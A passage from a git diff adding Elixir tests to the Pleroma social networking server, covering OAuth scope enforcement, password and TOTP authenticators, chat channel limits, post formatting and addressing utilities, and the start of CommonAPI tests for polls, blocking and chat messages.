(:api) — use with :authenticated_api instead + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/api/do_oauth_check") + |> json_response(200) + end + + test "fails on no token / missing scope(s)" do + %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) + + bad_token_conn + |> get("/test/authenticated_api/do_oauth_check") + |> json_response(403) + + bad_token_conn + |> assign(:token, nil) + |> get("/test/api/do_oauth_check") + |> json_response(403) + end + end + + describe "fallback_oauth_check" do + test "serves with proper OAuth token (fulfilling requested scopes)" do + %{conn: good_token_conn, user: user} = oauth_access(["read"]) + + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/api/fallback_oauth_check") + |> json_response(200) + + # Unintended usage (:authenticated_api) — use with :api instead + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/authenticated_api/fallback_oauth_check") + |> json_response(200) + end + + test "for :api on public instance, drops :user and renders on no token / missing scope(s)" do + clear_config([:instance, :public], true) + + %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) + + assert %{"user_id" => nil} == + bad_token_conn + |> get("/test/api/fallback_oauth_check") + |> json_response(200) + + assert %{"user_id" => nil} == + bad_token_conn + |> assign(:token, nil) + |> get("/test/api/fallback_oauth_check") + |> json_response(200) + end + + test "for :api on private instance, fails on no token / missing scope(s)" do + clear_config([:instance, :public], false) + + %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) + + bad_token_conn + |> get("/test/api/fallback_oauth_check") + |> json_response(403) + + bad_token_conn + |> assign(:token, nil) + |> get("/test/api/fallback_oauth_check") + |> json_response(403) + end + end + + describe "skip_oauth_check" do + test "for :authenticated_api, serves if :user is set (regardless of token / token scopes)" do + user = insert(:user) + + assert %{"user_id" => user.id} == + build_conn() + |> assign(:user, user) + |> get("/test/authenticated_api/skip_oauth_check") + |> json_response(200) + + %{conn: bad_token_conn, user: user} = oauth_access(["irrelevant_scope"]) + + assert %{"user_id" => user.id} == + bad_token_conn + |> get("/test/authenticated_api/skip_oauth_check") + |> json_response(200) + end + + test "serves via :api on public instance if :user is not set" do + clear_config([:instance, :public], true) + + assert %{"user_id" => nil} == + build_conn() + |> get("/test/api/skip_oauth_check") + |> json_response(200) + + build_conn() + |> get("/test/authenticated_api/skip_oauth_check") + |> json_response(403) + end + + test "fails on private instance if :user is not set" do + clear_config([:instance, :public], false) + + build_conn() + |> get("/test/api/skip_oauth_check") + |> json_response(403) + + build_conn() + |> get("/test/authenticated_api/skip_oauth_check") + |> json_response(403) + end + end + + describe "fallback_oauth_skip_publicity_check" do + test "serves with proper OAuth token (fulfilling requested scopes)" do + %{conn: good_token_conn, user: user} = oauth_access(["read"]) + + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/api/fallback_oauth_skip_publicity_check") + |> json_response(200) + + # Unintended usage (:authenticated_api) + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/authenticated_api/fallback_oauth_skip_publicity_check") + |> json_response(200) + end + + test "for :api on private / public instance, drops :user and renders on token issue" do + %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) + + for is_public <- [true, false] do + clear_config([:instance, :public], is_public) + + assert %{"user_id" => nil} == + bad_token_conn + |> get("/test/api/fallback_oauth_skip_publicity_check") + |> json_response(200) + + assert %{"user_id" => nil} == + bad_token_conn + |> assign(:token, nil) + |> get("/test/api/fallback_oauth_skip_publicity_check") + |> json_response(200) + end + end + end + + describe "skip_oauth_skip_publicity_check" do + test "for :authenticated_api, serves if :user is set (regardless of token / token scopes)" do + user = insert(:user) + + assert %{"user_id" => user.id} == + build_conn() + |> assign(:user, user) + |> get("/test/authenticated_api/skip_oauth_skip_publicity_check") + |> json_response(200) + + %{conn: bad_token_conn, user: user} = oauth_access(["irrelevant_scope"]) + + assert %{"user_id" => user.id} == + bad_token_conn + |> get("/test/authenticated_api/skip_oauth_skip_publicity_check") + |> json_response(200) + end + + test "for :api, serves on private and public instances regardless of whether :user is set" do + user = insert(:user) + + for is_public <- [true, false] do + clear_config([:instance, :public], is_public) + + assert %{"user_id" => nil} == + build_conn() + |> get("/test/api/skip_oauth_skip_publicity_check") + |> json_response(200) + + assert %{"user_id" => user.id} == + build_conn() + |> assign(:user, user) + |> get("/test/api/skip_oauth_skip_publicity_check") + |> json_response(200) + end + end + end + + describe "missing_oauth_check_definition" do + def test_missing_oauth_check_definition_failure(endpoint, expected_error) do + %{conn: conn} = oauth_access(["read", "write", "follow", "push", "admin"]) + + assert %{"error" => expected_error} == + conn + |> get(endpoint) + |> json_response(403) + end + + test "fails if served via :authenticated_api" do + test_missing_oauth_check_definition_failure( + "/test/authenticated_api/missing_oauth_check_definition", + "Security violation: OAuth scopes check was neither handled nor explicitly skipped." + ) + end + + test "fails if served via :api and the instance is private" do + clear_config([:instance, :public], false) + + test_missing_oauth_check_definition_failure( + "/test/api/missing_oauth_check_definition", + "This resource requires authentication." + ) + end + + test "succeeds with dropped :user if served via :api on public instance" do + %{conn: conn} = oauth_access(["read", "write", "follow", "push", "admin"]) + + assert %{"user_id" => nil} == + conn + |> get("/test/api/missing_oauth_check_definition") + |> json_response(200) + end + end +end diff --git a/test/pleroma/web/auth/authenticator_test.exs b/test/pleroma/web/auth/authenticator_test.exs new file mode 100644 index 000000000..d54253343 --- /dev/null +++ b/test/pleroma/web/auth/authenticator_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.AuthenticatorTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.Auth.Authenticator + import Pleroma.Factory + + describe "fetch_user/1" do + test "returns user by name" do + user = insert(:user) + assert Authenticator.fetch_user(user.nickname) == user + end + + test "returns user by email" do + user = insert(:user) + assert Authenticator.fetch_user(user.email) == user + end + + test "returns nil" do + assert Authenticator.fetch_user("email") == nil + end + end + + describe "fetch_credentials/1" do + test "returns name and password from authorization params" do + params = %{"authorization" => %{"name" => "test", "password" => "test-pass"}} + assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}} + end + + test "returns name and password with grant_type 'password'" do + params = %{"grant_type" => "password", "username" => "test", "password" => "test-pass"} + assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}} + end + + test "returns error" do + assert Authenticator.fetch_credentials(%{}) == {:error, :invalid_credentials} + end + end +end diff --git a/test/pleroma/web/auth/basic_auth_test.exs b/test/pleroma/web/auth/basic_auth_test.exs new file mode 100644 index 000000000..bf6e3d2fc --- /dev/null +++ b/test/pleroma/web/auth/basic_auth_test.exs @@ -0,0 +1,46 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.BasicAuthTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + test "with HTTP Basic Auth used, grants access to OAuth scope-restricted endpoints", %{ + conn: conn + } do + user = insert(:user) + assert Pbkdf2.verify_pass("test", user.password_hash) + + basic_auth_contents = + (URI.encode_www_form(user.nickname) <> ":" <> URI.encode_www_form("test")) + |> Base.encode64() + + # Succeeds with HTTP Basic Auth + response = + conn + |> put_req_header("authorization", "Basic " <> basic_auth_contents) + |> get("/api/v1/accounts/verify_credentials") + |> json_response(200) + + user_nickname = user.nickname + assert %{"username" => ^user_nickname} = response + + # Succeeds with a properly scoped OAuth token + valid_token = insert(:oauth_token, scopes: ["read:accounts"]) + + conn + |> put_req_header("authorization", "Bearer #{valid_token.token}") + |> get("/api/v1/accounts/verify_credentials") + |> json_response(200) + + # Fails with a wrong-scoped OAuth token (proof of restriction) + invalid_token = insert(:oauth_token, scopes: ["read:something"]) + + conn + |> put_req_header("authorization", "Bearer #{invalid_token.token}") + |> get("/api/v1/accounts/verify_credentials") + |> json_response(403) + end +end diff --git a/test/pleroma/web/auth/pleroma_authenticator_test.exs b/test/pleroma/web/auth/pleroma_authenticator_test.exs new file mode 100644 index 000000000..1ba0dfecc --- /dev/null +++ b/test/pleroma/web/auth/pleroma_authenticator_test.exs @@ -0,0 +1,48 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.PleromaAuthenticatorTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.Auth.PleromaAuthenticator + import Pleroma.Factory + + setup do + password = "testpassword" + name = "AgentSmith" + user = insert(:user, nickname: name, password_hash: Pbkdf2.hash_pwd_salt(password)) + {:ok, [user: user, name: name, password: password]} + end + + test "get_user/authorization", %{name: name, password: password} do + name = name <> "1" + user = insert(:user, nickname: name, password_hash: Bcrypt.hash_pwd_salt(password)) + + params = %{"authorization" => %{"name" => name, "password" => password}} + res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) + + assert {:ok, returned_user} = res + assert returned_user.id == user.id + assert "$pbkdf2" <> _ = returned_user.password_hash + end + + test "get_user/authorization with invalid password", %{name: name} do + params = %{"authorization" => %{"name" => name, "password" => "password"}} + res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) + + assert {:error, {:checkpw, false}} == res + end + + test "get_user/grant_type_password", %{user: user, name: name, password: password} do + params = %{"grant_type" => "password", "username" => name, "password" => password} + res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) + + assert {:ok, user} == res + end + + test "error credintails" do + res = PleromaAuthenticator.get_user(%Plug.Conn{params: %{}}) + assert {:error, :invalid_credentials} == res + end +end diff --git a/test/pleroma/web/auth/totp_authenticator_test.exs b/test/pleroma/web/auth/totp_authenticator_test.exs new file mode 100644 index 000000000..84d4cd840 --- /dev/null +++ b/test/pleroma/web/auth/totp_authenticator_test.exs @@ -0,0 +1,51 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.TOTPAuthenticatorTest do + use Pleroma.Web.ConnCase + + alias Pleroma.MFA + alias Pleroma.MFA.BackupCodes + alias Pleroma.MFA.TOTP + alias Pleroma.Web.Auth.TOTPAuthenticator + + import Pleroma.Factory + + test "verify token" do + otp_secret = TOTP.generate_secret() + otp_token = TOTP.generate_token(otp_secret) + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + assert TOTPAuthenticator.verify(otp_token, user) == {:ok, :pass} + assert TOTPAuthenticator.verify(nil, user) == {:error, :invalid_token} + assert TOTPAuthenticator.verify("", user) == {:error, :invalid_token} + end + + test "checks backup codes" do + [code | _] = backup_codes = BackupCodes.generate() + + hashed_codes = + backup_codes + |> Enum.map(&Pbkdf2.hash_pwd_salt(&1)) + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + backup_codes: hashed_codes, + totp: %MFA.Settings.TOTP{secret: "otp_secret", confirmed: true} + } + ) + + assert TOTPAuthenticator.verify_recovery_code(user, code) == {:ok, :pass} + refute TOTPAuthenticator.verify_recovery_code(code, refresh_record(user)) == {:ok, :pass} + end +end diff --git a/test/pleroma/web/chat_channel_test.exs b/test/pleroma/web/chat_channel_test.exs new file mode 100644 index 000000000..32170873d --- /dev/null +++ b/test/pleroma/web/chat_channel_test.exs @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ChatChannelTest do + use Pleroma.Web.ChannelCase + alias Pleroma.Web.ChatChannel + alias Pleroma.Web.UserSocket + + import Pleroma.Factory + + setup do + user = insert(:user) + + {:ok, _, socket} = + socket(UserSocket, "", %{user_name: user.nickname}) + |> subscribe_and_join(ChatChannel, "chat:public") + + {:ok, socket: socket} + end + + test "it broadcasts a message", %{socket: socket} do + push(socket, "new_msg", %{"text" => "why is tenshi eating a corndog so cute?"}) + assert_broadcast("new_msg", %{text: "why is tenshi eating a corndog so cute?"}) + end + + describe "message lengths" do + setup do: clear_config([:instance, :chat_limit]) + + test "it ignores messages of length zero", %{socket: socket} do + push(socket, "new_msg", %{"text" => ""}) + refute_broadcast("new_msg", %{text: ""}) + end + + test "it ignores messages above a certain length", %{socket: socket} do + Pleroma.Config.put([:instance, :chat_limit], 2) + push(socket, "new_msg", %{"text" => "123"}) + refute_broadcast("new_msg", %{text: "123"}) + end + end +end diff --git a/test/pleroma/web/common_api/utils_test.exs b/test/pleroma/web/common_api/utils_test.exs new file mode 100644 index 000000000..e67c10b93 --- /dev/null +++ b/test/pleroma/web/common_api/utils_test.exs @@ -0,0 +1,593 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.CommonAPI.UtilsTest do + alias Pleroma.Builders.UserBuilder + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + + @public_address "https://www.w3.org/ns/activitystreams#Public" + + describe "add_attachments/2" do + setup do + name = + "Sakura Mana – Turned on by a Senior OL with a Temptating Tight Skirt-s Full Hipline and Panty Shot- Beautiful Thick Thighs- and Erotic Ass- -2015- -- Oppaitime 8-28-2017 6-50-33 PM.png" + + attachment = %{ + "url" => [%{"href" => URI.encode(name)}] + } + + %{name: name, attachment: attachment} + end + + test "it adds attachment links to a given text and attachment set", %{ + name: name, + attachment: attachment + } do + len = 10 + clear_config([Pleroma.Upload, :filename_display_max_length], len) + + expected = + "
#{String.slice(name, 0..len)}…" + + assert Utils.add_attachments("", [attachment]) == expected + end + + test "doesn't truncate file name if config for truncate is set to 0", %{ + name: name, + attachment: attachment + } do + clear_config([Pleroma.Upload, :filename_display_max_length], 0) + + expected = "
#{name}" + + assert Utils.add_attachments("", [attachment]) == expected + end + end + + describe "it confirms the password given is the current users password" do + test "incorrect password given" do + {:ok, user} = UserBuilder.insert() + + assert Utils.confirm_current_password(user, "") == {:error, "Invalid password."} + end + + test "correct password given" do + {:ok, user} = UserBuilder.insert() + assert Utils.confirm_current_password(user, "test") == {:ok, user} + end + end + + describe "format_input/3" do + test "works for bare text/plain" do + text = "hello world!" + expected = "hello world!" + + {output, [], []} = Utils.format_input(text, "text/plain") + + assert output == expected + + text = "hello world!\n\nsecond paragraph!" + expected = "hello world!

second paragraph!" + + {output, [], []} = Utils.format_input(text, "text/plain") + + assert output == expected + end + + test "works for bare text/html" do + text = "

hello world!

" + expected = "

hello world!

" + + {output, [], []} = Utils.format_input(text, "text/html") + + assert output == expected + + text = "

hello world!


\n

second paragraph

" + expected = "

hello world!


\n

second paragraph

" + + {output, [], []} = Utils.format_input(text, "text/html") + + assert output == expected + end + + test "works for bare text/markdown" do + text = "**hello world**" + expected = "

hello world

" + + {output, [], []} = Utils.format_input(text, "text/markdown") + + assert output == expected + + text = "**hello world**\n\n*another paragraph*" + expected = "

hello world

another paragraph

" + + {output, [], []} = Utils.format_input(text, "text/markdown") + + assert output == expected + + text = """ + > cool quote + + by someone + """ + + expected = "

cool quote

by someone

" + + {output, [], []} = Utils.format_input(text, "text/markdown") + + assert output == expected + end + + test "works for bare text/bbcode" do + text = "[b]hello world[/b]" + expected = "hello world" + + {output, [], []} = Utils.format_input(text, "text/bbcode") + + assert output == expected + + text = "[b]hello world![/b]\n\nsecond paragraph!" + expected = "hello world!

second paragraph!" + + {output, [], []} = Utils.format_input(text, "text/bbcode") + + assert output == expected + + text = "[b]hello world![/b]\n\nsecond paragraph!" + + expected = + "hello world!

<strong>second paragraph!</strong>" + + {output, [], []} = Utils.format_input(text, "text/bbcode") + + assert output == expected + end + + test "works for text/markdown with mentions" do + {:ok, user} = + UserBuilder.insert(%{nickname: "user__test", ap_id: "http://foo.com/user__test"}) + + text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*" + + {output, _, _} = Utils.format_input(text, "text/markdown") + + assert output == + ~s(

hello world

another @user__test and @user__test google.com paragraph

) + end + end + + describe "context_to_conversation_id" do + test "creates a mapping object" do + conversation_id = Utils.context_to_conversation_id("random context") + object = Object.get_by_ap_id("random context") + + assert conversation_id == object.id + end + + test "returns an existing mapping for an existing object" do + {:ok, object} = Object.context_mapping("random context") |> Repo.insert() + conversation_id = Utils.context_to_conversation_id("random context") + + assert conversation_id == object.id + end + end + + describe "formats date to asctime" do + test "when date is in ISO 8601 format" do + date = DateTime.utc_now() |> DateTime.to_iso8601() + + expected = + date + |> DateTime.from_iso8601() + |> elem(1) + |> Calendar.Strftime.strftime!("%a %b %d %H:%M:%S %z %Y") + + assert Utils.date_to_asctime(date) == expected + end + + test "when date is a binary in wrong format" do + date = DateTime.utc_now() + + expected = "" + + assert capture_log(fn -> + assert Utils.date_to_asctime(date) == expected + end) =~ "[warn] Date #{date} in wrong format, must be ISO 8601" + end + + test "when date is a Unix timestamp" do + date = DateTime.utc_now() |> DateTime.to_unix() + + expected = "" + + assert capture_log(fn -> + assert Utils.date_to_asctime(date) == expected + end) =~ "[warn] Date #{date} in wrong format, must be ISO 8601" + end + + test "when date is nil" do + expected = "" + + assert capture_log(fn -> + assert Utils.date_to_asctime(nil) == expected + end) =~ "[warn] Date in wrong format, must be ISO 8601" + end + + test "when date is a random string" do + assert capture_log(fn -> + assert Utils.date_to_asctime("foo") == "" + end) =~ "[warn] Date foo in wrong format, must be ISO 8601" + end + end + + describe "get_to_and_cc" do + test "for public posts, not a reply" do + user = insert(:user) + mentioned_user = insert(:user) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "public", nil) + + assert length(to) == 2 + assert length(cc) == 1 + + assert @public_address in to + assert mentioned_user.ap_id in to + assert user.follower_address in cc + end + + test "for public posts, a reply" do + user = insert(:user) + mentioned_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "public", nil) + + assert length(to) == 3 + assert length(cc) == 1 + + assert @public_address in to + assert mentioned_user.ap_id in to + assert third_user.ap_id in to + assert user.follower_address in cc + end + + test "for unlisted posts, not a reply" do + user = insert(:user) + mentioned_user = insert(:user) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "unlisted", nil) + + assert length(to) == 2 + assert length(cc) == 1 + + assert @public_address in cc + assert mentioned_user.ap_id in to + assert user.follower_address in to + end + + test "for unlisted posts, a reply" do + user = insert(:user) + mentioned_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "unlisted", nil) + + assert length(to) == 3 + assert length(cc) == 1 + + assert @public_address in cc + assert mentioned_user.ap_id in to + assert third_user.ap_id in to + assert user.follower_address in to + end + + test "for private posts, not a reply" do + user = insert(:user) + mentioned_user = insert(:user) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "private", nil) + assert length(to) == 2 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + assert user.follower_address in to + end + + test "for private posts, a reply" do + user = insert(:user) + mentioned_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "private", nil) + + assert length(to) == 2 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + assert user.follower_address in to + end + + test "for direct posts, not a reply" do + user = insert(:user) + mentioned_user = insert(:user) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "direct", nil) + + assert length(to) == 1 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + end + + test "for direct posts, a reply" do + user = insert(:user) + mentioned_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "direct", nil) + + assert length(to) == 1 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + + {:ok, direct_activity} = CommonAPI.post(third_user, %{status: "uguu", visibility: "direct"}) + + {to, cc} = Utils.get_to_and_cc(user, mentions, direct_activity, "direct", nil) + + assert length(to) == 2 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + assert third_user.ap_id in to + end + end + + describe "to_master_date/1" do + test "removes microseconds from date (NaiveDateTime)" do + assert Utils.to_masto_date(~N[2015-01-23 23:50:07.123]) == "2015-01-23T23:50:07.000Z" + end + + test "removes microseconds from date (String)" do + assert Utils.to_masto_date("2015-01-23T23:50:07.123Z") == "2015-01-23T23:50:07.000Z" + end + + test "returns empty string when date invalid" do + assert Utils.to_masto_date("2015-01?23T23:50:07.123Z") == "" + end + end + + describe "conversation_id_to_context/1" do + test "returns id" do + object = insert(:note) + assert Utils.conversation_id_to_context(object.id) == object.data["id"] + end + + test "returns error if object not found" do + assert Utils.conversation_id_to_context("123") == {:error, "No such conversation"} + end + end + + describe "maybe_notify_mentioned_recipients/2" do + test "returns recipients when activity is not `Create`" do + activity = insert(:like_activity) + assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == ["test"] + end + + test "returns recipients from tag" do + user = insert(:user) + + object = + insert(:note, + user: user, + data: %{ + "tag" => [ + %{"type" => "Hashtag"}, + "", + %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"}, + %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}, + %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"} + ] + } + ) + + activity = insert(:note_activity, user: user, note: object) + + assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [ + "test", + "https://testing.pleroma.lol/users/lain", + "https://shitposter.club/user/5381" + ] + end + + test "returns recipients when object is map" do + user = insert(:user) + object = insert(:note, user: user) + + activity = + insert(:note_activity, + user: user, + note: object, + data_attrs: %{ + "object" => %{ + "tag" => [ + %{"type" => "Hashtag"}, + "", + %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"}, + %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}, + %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"} + ] + } + } + ) + + Pleroma.Repo.delete(object) + + assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [ + "test", + "https://testing.pleroma.lol/users/lain", + "https://shitposter.club/user/5381" + ] + end + + test "returns recipients when object not found" do + user = insert(:user) + object = insert(:note, user: user) + + activity = insert(:note_activity, user: user, note: object) + Pleroma.Repo.delete(object) + + obj_url = activity.data["object"] + + Tesla.Mock.mock(fn + %{method: :get, url: ^obj_url} -> + %Tesla.Env{status: 404, body: ""} + end) + + assert Utils.maybe_notify_mentioned_recipients(["test-test"], activity) == [ + "test-test" + ] + end + end + + describe "attachments_from_ids_descs/2" do + test "returns [] when attachment ids is empty" do + assert Utils.attachments_from_ids_descs([], "{}") == [] + end + + test "returns list attachments with desc" do + object = insert(:note) + desc = Jason.encode!(%{object.id => "test-desc"}) + + assert Utils.attachments_from_ids_descs(["#{object.id}", "34"], desc) == [ + Map.merge(object.data, %{"name" => "test-desc"}) + ] + end + end + + describe "attachments_from_ids/1" do + test "returns attachments with descs" do + object = insert(:note) + desc = Jason.encode!(%{object.id => "test-desc"}) + + assert Utils.attachments_from_ids(%{ + media_ids: ["#{object.id}"], + descriptions: desc + }) == [ + Map.merge(object.data, %{"name" => "test-desc"}) + ] + end + + test "returns attachments without descs" do + object = insert(:note) + assert Utils.attachments_from_ids(%{media_ids: ["#{object.id}"]}) == [object.data] + end + + test "returns [] when not pass media_ids" do + assert Utils.attachments_from_ids(%{}) == [] + end + end + + describe "maybe_add_list_data/3" do + test "adds list params when found user list" do + user = insert(:user) + {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) + + assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) == + %{ + additional: %{"bcc" => [list.ap_id], "listMessage" => list.ap_id}, + object: %{"listMessage" => list.ap_id} + } + end + + test "returns original params when list not found" do + user = insert(:user) + {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", insert(:user)) + + assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) == + %{additional: %{}, object: %{}} + end + end + + describe "make_note_data/11" do + test "returns note data" do + user = insert(:user) + note = insert(:note) + user2 = insert(:user) + user3 = insert(:user) + + assert Utils.make_note_data( + user.ap_id, + [user2.ap_id], + "2hu", + "

This is :moominmamma: note

", + [], + note.id, + [name: "jimm"], + "test summary", + [user3.ap_id], + false, + %{"custom_tag" => "test"} + ) == %{ + "actor" => user.ap_id, + "attachment" => [], + "cc" => [user3.ap_id], + "content" => "

This is :moominmamma: note

", + "context" => "2hu", + "sensitive" => false, + "summary" => "test summary", + "tag" => ["jimm"], + "to" => [user2.ap_id], + "type" => "Note", + "custom_tag" => "test" + } + end + end + + describe "maybe_add_attachments/3" do + test "returns parsed results when attachment_links is false" do + assert Utils.maybe_add_attachments( + {"test", [], ["tags"]}, + [], + false + ) == {"test", [], ["tags"]} + end + + test "adds attachments to parsed results" do + attachment = %{"url" => [%{"href" => "SakuraPM.png"}]} + + assert Utils.maybe_add_attachments( + {"test", [], ["tags"]}, + [attachment], + true + ) == { + "test
SakuraPM.png", + [], + ["tags"] + } + end + end +end diff --git a/test/pleroma/web/common_api_test.exs b/test/pleroma/web/common_api_test.exs new file mode 100644 index 000000000..e34f5a49b --- /dev/null +++ b/test/pleroma/web/common_api_test.exs @@ -0,0 +1,1244 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.CommonAPITest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Chat + alias Pleroma.Conversation.Participation + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.ActivityPub.Visibility + alias Pleroma.Web.AdminAPI.AccountView + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + import Mock + import Ecto.Query, only: [from: 2] + + require Pleroma.Constants + + setup do: clear_config([:instance, :safe_dm_mentions]) + setup do: clear_config([:instance, :limit]) + setup do: clear_config([:instance, :max_pinned_statuses]) + + describe "posting polls" do + test "it posts a poll" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "who is the best", + poll: %{expires_in: 600, options: ["reimu", "marisa"]} + }) + + object = Object.normalize(activity) + + assert object.data["type"] == "Question" + assert object.data["oneOf"] |> length() == 2 + end + end + + describe "blocking" do + setup do + blocker = insert(:user) + blocked = insert(:user) + User.follow(blocker, blocked) + User.follow(blocked, blocker) + %{blocker: blocker, blocked: blocked} + end + + test "it blocks and federates", %{blocker: blocker, blocked: blocked} do + clear_config([:instance, :federating], true) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, block} = CommonAPI.block(blocker, blocked) + + assert block.local + assert User.blocks?(blocker, blocked) + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + + assert called(Pleroma.Web.Federator.publish(block)) + end + end + + test "it blocks and does not federate if outgoing blocks are disabled", %{ + blocker: blocker, + blocked: blocked + } do + clear_config([:instance, :federating], true) + clear_config([:activitypub, :outgoing_blocks], false) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, block} = CommonAPI.block(blocker, blocked) + + assert block.local + assert User.blocks?(blocker, blocked) + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + + refute called(Pleroma.Web.Federator.publish(block)) + end + end + end + + describe "posting chat messages" do + setup do: clear_config([:instance, :chat_limit]) + + test "it posts a chat message without content but with an attachment" do + author = insert(:user) + recipient = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: author.ap_id) + + with_mocks([ + { + Pleroma.Web.Streamer, + [], + [ + stream: fn _, _ -> + nil + end + ] + }, + { + Pleroma.Web.Push, + [], + [ + send: fn _ -> nil end + ] + } + ]) do + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + nil, + media_id: upload.id + ) + + notification = + Notification.for_user_and_activity(recipient, activity) + |> Repo.preload(:activity) + + assert called(Pleroma.Web.Push.send(notification)) + assert called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) + assert called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) + + assert activity + end + end + + test "it adds html newlines" do + author = insert(:user) + recipient = insert(:user) + + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + "uguu\nuguuu" + ) + + assert other_user.ap_id not in activity.recipients + + object = Object.normalize(activity, false) + + assert object.data["content"] == "uguu
